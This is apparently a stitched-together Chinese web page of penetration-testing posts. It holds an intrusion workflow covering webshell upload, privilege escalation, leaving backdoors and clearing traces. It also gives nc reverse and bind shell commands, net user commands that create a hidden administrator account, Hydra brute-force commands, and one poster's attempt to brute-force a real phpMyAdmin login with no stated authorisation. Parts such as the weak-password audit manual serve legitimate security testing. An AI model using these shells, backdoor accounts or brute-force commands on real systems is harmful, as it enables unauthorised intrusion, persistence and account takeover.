web渗透是什么?
Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透,以下所说的Web渗透就是黑盒渗透。
Web渗透分为以下几个步骤,信息收集,漏洞扫描,漏洞利用,提权,内网渗透,留后门,清理痕迹。一般的渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马.........思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。
信息收集
信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。
DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑1.5),c段,网站负责人及其信息(whois查询)
整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型;
网站常见搭配为:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目录信息(御剑,dirbust)
开放端口信息(nmp)
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。
常见漏洞:
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
后台密码爆破(burp)
端口爆破(hydra)
提权
获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于Windows系统也可看其补丁对应漏洞的exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用方法:
反向连接
在公网主机上进行监听:
nc-lvp 4444
在内网主机上执行:
nc-e cmd.exe 公网主机ip4444
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行:
nc-l -p 4444 -t -e cmd.exe
本地主机上执行:
nc-vv 远程主机ip4444
成功后,本地主机即可远程主机的一个shell
然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马,留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工:
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是用工具省心省力。
【原创】使用Hydra暴力破解网络协议密码
Hydra是一款全能的暴力破解工具,功能强大,几乎支持所有的协议。本次实验使用Hydra爆破SSH登陆密码;
参数说明
hydra [[[-l login|-L file] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w time] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get}
http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener
postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere
teamspeak sip vmauthd firebird ncp afp等等。
实验过程
受害主机:192.168.1.103
受害用户:root
1.我们需要知道受害主机的ssh用户,例如root。接下来,我们需要准备一个密码字典,为了节省时间,我们使用了一个简单的密码字典,其中包含了root@192.168.1.103的正确密码;
2.在终端中输入: hydra 192.168.1.103 ssh -l root -P ./Documents/password.txt -V 并回车;
随后Hydra根据字典的内容进行逐个尝试,并在全部尝试完成之后显示爆破结果。
Safesonic网络安全团队实验室2016年08月21日
弱口令扫描操作
弱口令扫描操作手册
一、弱口令简介
弱口令目前没有严格和准确的定义,通常认为容易被别人猜测或被破解工具破解的口令即为弱口令。对弱口令的定义为,不满足以下五项条件之一即为弱口令:
1、口令长度应至少8位;
2、口令应包括数字、小写字母、大写字母、特殊符号4类中至少3类;
3、口令应与用户名无相关性,口令中不得包含用户名的完整字符串、大小写变位或形似变换的字符串;
4、应更换系统或设备的出厂默认口令;
5、口令设置应避免键盘排序密码;
二、弱口令类型
目前常见的弱口令类型有TELNET、SSH、SNMP、FTP、MYSQL、MSSQL、ORACL、HTTP等。其中TELNET、SSH、FTP、MYSQL、MSSQL、ORACLE、HTTP等为TCP协议,都是通过用户名+密码的形式登录;SNMP为UDP协议,通过community字符串登录即可。
三、弱口令字典
弱口令检查一般都是通过自动化工具批量进行,主要的难点在于字典的构造。通常来说,字典越大,扫描的效果就越好,但是扫描花费的时间也会越长,所以我们需要根据自己的任务紧急程度选择不同大小的字典。
移动互联网行业,拥有很多网络设备,所以我们需要结合设备本身的特性来优化字典。比如某网络设备的默认用户名是useradmin,默认密码是admin!@#$%^,此时我们就应该检查自己的用户名字典和弱口令字典中是否包含以上字符串,如果没有就应该将其加入到字典中。
四、工具介绍
硬件扫描器:绿盟RSAS
绿盟远程安全评估系统(NSFOCUS Remote Security Assessment System 简称:NSFOCUS RSAS)是国内一款常见的漏洞扫描工具,它的“口令猜测任务”模块即可对各协议进行专门的弱口令扫描。
1、 [登录扫描器,选择“新建任务”
2、 选择“口令猜测任务”,并输入扫描目标(可以直接输入扫描地址,也可通过文件导入)
3、 选择需要扫描的协议类型,如FTP、SSH等,然后选择需要使用的字典。
4、根据任务需求选择配置其他选项(或者保持默认配置),最后选择确定即可。
在新建任务的过程中,如果我们选择“密码字典管理”选项,还可以新建一个自己的独特字典。
l 开源扫描器:hydra
hydra是一款开源的弱口令扫描神器,它可以在windows、linux、OSX等多个平台上运行,它支持几乎所有常见协议的弱口令扫描。
1、hydra语法
hydra[[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-tTASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service[OPT]
-R
继续从上一次进度接着破解
-S
大写,采用SSL链接
-s
小写,可通过这个参数指定非默认端口
-l
指定破解的用户,对特定用户破解
-L
指定用户名字典
-p
小写,指定密码破解,少用,一般是采用密码字典
-P
大写,指定密码字典
-e
可选选项,n:空密码试探,s:使用指定用户和密码试探
-C FILE
使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数
-M FILE
指定目标列表文件一行一条
-o FILE
指定结果输出文件
-f
在使用-M参数以后,找到第一对登录名或者密码的时候中止破解
-t TASKS
同时运行的线程数,默认为16
-w TIME
设置最大超时的时间,单位秒,默认是30s
-v/ -V
显示详细过程
server
目标ip
service
指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get}http-{get|post}-form http-proxy ciscocisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmprsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等
OPT
可选项
[if !supportLists] 2、 [endif]使用范例
扫描SSH 弱口令
# hydra-L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh
-L 指定用户名字典(一行一个用户名字符串),-P指定密码字典(一行一个密码字符串),-t 指定线程数为1,-vV设置显示详细扫描过程,-e 设置使用空口令试探,最后是要扫描的IP地址和协议类型。
扫描SNMP 弱口令
#hydra-P snmppwd.txt -M ip.txt -o save.log snmp
-P 指定密码字典,-M指定目标IP文件(一行一个IP地址),-o指定结果输出文件,最后指定扫描协议SNMP。
专用扫描器:Tomcat弱口令扫描器
“Apache tomcat弱口令扫描器”是一款专用的tomcat弱口令扫描器,可以灵活的配置扫描IP、端口、用户名和字典等。
1、简单扫描整个网段
在“起始IP”中填入开始IP,在“终止IP”中填入结束IP,然后点击“添加”(可多次添加),最后点击“开始”即可。
2、高级设置:配置用户名和字典等
点击“设置”进入设置页面:
在设置页面可以导入自己的个性化“用户名”和“密码字典”,同时也可以通过文件导入要扫描的IP,配置好相关选项后,点击开始即可扫描。
专用扫描器:Burp Suite
Burp Suite是一款web渗透测试神器,可以测试SQL注入、XSS等各种漏洞,同时我们也可以使用它对WEB登录页面进行弱口令测试。
1、打开Burp Suite,配置监听端口,并在浏览器中设置代理为上述端口,如下图为8080。
2、使用浏览器打开需要测试的页面,并使用Burp Suite抓取登录请求。
3、选中请求,鼠标右键,选择“Send to Intruder”
4、在“Positions”标签下,选择需要暴力破解的字段
5、在“Payloads”标签下选择弱口令字典文件
6、点击开始攻击,通过比较应答的大小等方式获取破解成功的弱口令(此例中为password)。
除了exploit命令,还有什么命令也可以执行攻击?
在Linux系统中,除了exploit命令外,还有以下命令也可以执行攻击:
1、nmap:一个网络扫描工具,可以扫描目标主机的开放端口和漏洞。
2、Metasploit Framework:一个开源的漏洞利用框架,可以通过模块化的方式执行多种攻击。
3、Hydra:一个强大的密码破解工具,可以暴力破解各种服务的用户名和密码。
4、Wireshark:一个网络抓包分析工具,可以抓取网络数据包并对其进行分析,包括敏感信息的泄漏等。
5、Aircrack-ng:一个无线网络安全工具,可以破解无线网络密码、监听网络流量等。
需要注意的是,这些工具大多数都是为了测试和加强系统安全而设计的,使用时需要遵守法律法规,不要用于非法目的。
使用kali Hydra暴力破解phpadmin网站(失败)
一个没有保护措施的phpadmin后台。
在github上找到字典,或者使用kali自带字典
用burp抓包后找到url和错误信息,按照hydra的语法写下语句
有一个困扰了很久的点是,最开始的一遍扫描成功不了,原因是只写了ip没有改端口。导致其实一直在扫一个404页面。
-s选项可以更改端口。
最终命令:
hydra -L Top20_Admin_Users.txt -P FastPwds.txt -V -t 4 -e ns -f -s 88 xx.xx.xx.xx http-post-form "/xxx:xxx=^USER^xxx=^PASS^server=1token=2bbde9ea85a0ac2da88dd37a84c63d57:#1045 Cannot log in to the MySQL server"
很奇怪的是每一个测试都成功了,使用代理后检测才发现发出去的request很奇怪导致获取不了正确的包。
改用burpsuite,在参考别人文章后安装破解版burpsuite,发现这个东西用来web攻击很好用。
phpmyadmin有一个防御机制,发送第一个包到后台后,会重新发送一个get请求,在cookie里面带上加密的username和password。解决方法没找到。最终破解失败。
有任何问题可以私信我。
0条大神的评论